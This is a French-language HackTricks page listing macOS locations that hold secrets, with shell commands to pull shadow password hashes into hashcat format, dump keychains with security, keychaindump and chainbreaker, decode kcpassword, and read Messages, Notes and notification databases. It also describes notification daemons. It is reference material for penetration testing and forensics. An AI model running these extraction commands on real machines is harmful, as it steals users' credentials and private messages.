macOS Sensitive Locations & Interesting Daemons

Reading time: 12 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Mots de passe

Mots de passe Shadow

Le mot de passe shadow est stocké avec la configuration de l'utilisateur dans des plists situées dans /var/db/dslocal/nodes/Default/users/.
La ligne de commande suivante peut ĂȘtre utilisĂ©e pour extraire toutes les informations sur les utilisateurs (y compris les informations de hachage) :

bash
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done

Des scripts comme celui-ci ou celui-ci peuvent ĂȘtre utilisĂ©s pour transformer le hash au format hashcat.

Une alternative en une ligne qui va extraire les identifiants de tous les comptes non-service au format hashcat -m 7100 (macOS PBKDF2-SHA512) :

bash
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'

Une autre façon d'obtenir le ShadowHashData d'un utilisateur est d'utiliser dscl: sudo dscl . -read /Users/`whoami` ShadowHashData

/etc/master.passwd

Ce fichier est uniquement utilisé lorsque le systÚme fonctionne en mode utilisateur unique (donc pas trÚs fréquemment).

Keychain Dump

Notez que lors de l'utilisation du binaire de sécurité pour extraire les mots de passe déchiffrés, plusieurs invites demanderont à l'utilisateur de permettre cette opération.

bash
#security
security dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)

Keychaindump

caution

D'aprĂšs ce commentaire juuso/keychaindump#10 (comment), il semble que ces outils ne fonctionnent plus dans Big Sur.

Aperçu de Keychaindump

Un outil nommé keychaindump a été développé pour extraire des mots de passe des porte-clés macOS, mais il rencontre des limitations sur les versions macOS plus récentes comme Big Sur, comme indiqué dans une discussion. L'utilisation de keychaindump nécessite que l'attaquant obtienne un accÚs et élÚve ses privilÚges à root. L'outil exploite le fait que le porte-clé est déverrouillé par défaut lors de la connexion de l'utilisateur pour des raisons de commodité, permettant aux applications d'y accéder sans nécessiter le mot de passe de l'utilisateur à plusieurs reprises. Cependant, si un utilisateur choisit de verrouiller son porte-clé aprÚs chaque utilisation, keychaindump devient inefficace.

Keychaindump fonctionne en ciblant un processus spécifique appelé securityd, décrit par Apple comme un démon pour les opérations d'autorisation et cryptographiques, crucial pour accéder au porte-clé. Le processus d'extraction implique l'identification d'une Master Key dérivée du mot de passe de connexion de l'utilisateur. Cette clé est essentielle pour lire le fichier du porte-clé. Pour localiser la Master Key, keychaindump scanne le tas de mémoire de securityd en utilisant la commande vmmap, à la recherche de clés potentielles dans des zones marquées comme MALLOC_TINY. La commande suivante est utilisée pour inspecter ces emplacements mémoire :

bash
sudo vmmap <securityd PID> | grep MALLOC_TINY

AprÚs avoir identifié des clés maßtresses potentielles, keychaindump recherche dans les tas un motif spécifique (0x0000000000000018) qui indique un candidat pour la clé maßtresse. D'autres étapes, y compris la déobfuscation, sont nécessaires pour utiliser cette clé, comme l'indique le code source de keychaindump. Les analystes se concentrant sur ce domaine doivent noter que les données cruciales pour déchiffrer le trousseau sont stockées dans la mémoire du processus securityd. Une commande exemple pour exécuter keychaindump est :

bash
sudo ./keychaindump

chainbreaker

Chainbreaker peut ĂȘtre utilisĂ© pour extraire les types d'informations suivants d'un trousseau OSX de maniĂšre forensiquement valide :

  • Mot de passe du trousseau hachĂ©, adaptĂ© pour le craquage avec hashcat ou John the Ripper
  • Mots de passe Internet
  • Mots de passe gĂ©nĂ©riques
  • ClĂ©s privĂ©es
  • ClĂ©s publiques
  • Certificats X509
  • Notes sĂ©curisĂ©es
  • Mots de passe Appleshare

Étant donnĂ© le mot de passe de dĂ©verrouillage du trousseau, une clĂ© maĂźtre obtenue en utilisant volafox ou volatility, ou un fichier de dĂ©verrouillage tel que SystemKey, Chainbreaker fournira Ă©galement des mots de passe en texte clair.

Sans l'une de ces méthodes de déverrouillage du trousseau, Chainbreaker affichera toutes les autres informations disponibles.

Dump keychain keys

bash
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain

Dump des clés de trousseau (avec mots de passe) avec SystemKey

bash
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Dump des clés de trousseau (avec mots de passe) en craquant le hash

bash
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Dump des clés de trousseau (avec mots de passe) avec un dump mémoire

Suivez ces étapes pour effectuer un dump mémoire

bash
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump

#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain

Extraire les clés du trousseau (avec mots de passe) en utilisant le mot de passe de l'utilisateur

Si vous connaissez le mot de passe de l'utilisateur, vous pouvez l'utiliser pour extraire et déchiffrer les trousseaux qui appartiennent à l'utilisateur.

bash
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db

kcpassword

Le fichier kcpassword est un fichier qui contient le mot de passe de connexion de l'utilisateur, mais seulement si le propriétaire du systÚme a activé la connexion automatique. Par conséquent, l'utilisateur sera automatiquement connecté sans qu'on lui demande un mot de passe (ce qui n'est pas trÚs sécurisé).

Le mot de passe est stocké dans le fichier /etc/kcpassword xored avec la clé 0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F. Si le mot de passe de l'utilisateur est plus long que la clé, la clé sera réutilisée.
Cela rend le mot de passe assez facile à récupérer, par exemple en utilisant des scripts comme celui-ci.

Informations intéressantes dans les bases de données

Messages

bash
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'

Notifications

Vous pouvez trouver les données de Notifications dans $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/

La plupart des informations intéressantes se trouvent dans blob. Vous devrez donc extraire ce contenu et le transformer en lisible par un humain ou utiliser strings. Pour y accéder, vous pouvez faire :

bash
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack

Notes

Les notes des utilisateurs peuvent ĂȘtre trouvĂ©es dans ~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite

bash
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables

#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done

Préférences

Dans les applications macOS, les préférences se trouvent dans $HOME/Library/Preferences et dans iOS, elles se trouvent dans /var/mobile/Containers/Data/Application/<UUID>/Library/Preferences.

Dans macOS, l'outil cli defaults peut ĂȘtre utilisĂ© pour modifier le fichier de prĂ©fĂ©rences.

/usr/sbin/cfprefsd revendique les services XPC com.apple.cfprefsd.daemon et com.apple.cfprefsd.agent et peut ĂȘtre appelĂ© pour effectuer des actions telles que modifier les prĂ©fĂ©rences.

OpenDirectory permissions.plist

Le fichier /System/Library/OpenDirectory/permissions.plist contient des permissions appliquĂ©es sur les attributs de nƓud et est protĂ©gĂ© par SIP.
Ce fichier accorde des permissions à des utilisateurs spécifiques par UUID (et non par uid) afin qu'ils puissent accéder à des informations sensibles spécifiques telles que ShadowHashData, HeimdalSRPKey et KerberosKeys, entre autres :

xml
[...]
<key>dsRecTypeStandard:Computers</key>
<dict>
<key>dsAttrTypeNative:ShadowHashData</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
<key>dsAttrTypeNative:KerberosKeys</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
[...]

Notifications du systĂšme

Notifications Darwin

Le principal démon pour les notifications est /usr/sbin/notifyd. Afin de recevoir des notifications, les clients doivent s'enregistrer via le port Mach com.apple.system.notification_center (vérifiez-les avec sudo lsmp -p <pid notifyd>). Le démon est configurable avec le fichier /etc/notify.conf.

Les noms utilisés pour les notifications sont des notations DNS inversées uniques et lorsqu'une notification est envoyée à l'un d'eux, le(s) client(s) qui ont indiqué qu'ils peuvent la gérer la recevront.

Il est possible de vider l'état actuel (et de voir tous les noms) en envoyant le signal SIGUSR2 au processus notifyd et en lisant le fichier généré : /var/run/notifyd_<pid>.status :

bash
ps -ef | grep -i notifyd
0   376     1   0 15Mar24 ??        27:40.97 /usr/sbin/notifyd

sudo kill -USR2 376

cat /var/run/notifyd_376.status
[...]
pid: 94379   memory 5   plain 0   port 0   file 0   signal 0   event 0   common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]

Centre de Notification Distribué

Le Centre de Notification Distribué dont le binaire principal est /usr/sbin/distnoted, est un autre moyen d'envoyer des notifications. Il expose certains services XPC et effectue des vérifications pour essayer de vérifier les clients.

Notifications Push Apple (APN)

Dans ce cas, les applications peuvent s'inscrire à des sujets. Le client générera un jeton en contactant les serveurs d'Apple via apsd.
Ensuite, les fournisseurs auront également généré un jeton et pourront se connecter aux serveurs d'Apple pour envoyer des messages aux clients. Ces messages seront reçus localement par apsd qui relayera la notification à l'application qui l'attend.

Les préférences sont situées dans /Library/Preferences/com.apple.apsd.plist.

Il existe une base de données locale de messages située dans macOS à /Library/Application\ Support/ApplePushService/aps.db et dans iOS à /var/mobile/Library/ApplePushService. Elle contient 3 tables : incoming_messages, outgoing_messages et channel.

bash
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db

Il est également possible d'obtenir des informations sur le démon et les connexions en utilisant :

bash
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status

Notifications Utilisateur

Ce sont des notifications que l'utilisateur devrait voir Ă  l'Ă©cran :

  • CFUserNotification : Cette API fournit un moyen d'afficher Ă  l'Ă©cran une fenĂȘtre contextuelle avec un message.
  • Le Tableau d'Affichage : Cela affiche sur iOS une banniĂšre qui disparaĂźt et sera stockĂ©e dans le Centre de Notifications.
  • NSUserNotificationCenter : C'est le tableau d'affichage iOS sur MacOS. La base de donnĂ©es avec les notifications est situĂ©e dans /var/folders/<user temp>/0/com.apple.notificationcenter/db2/db

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks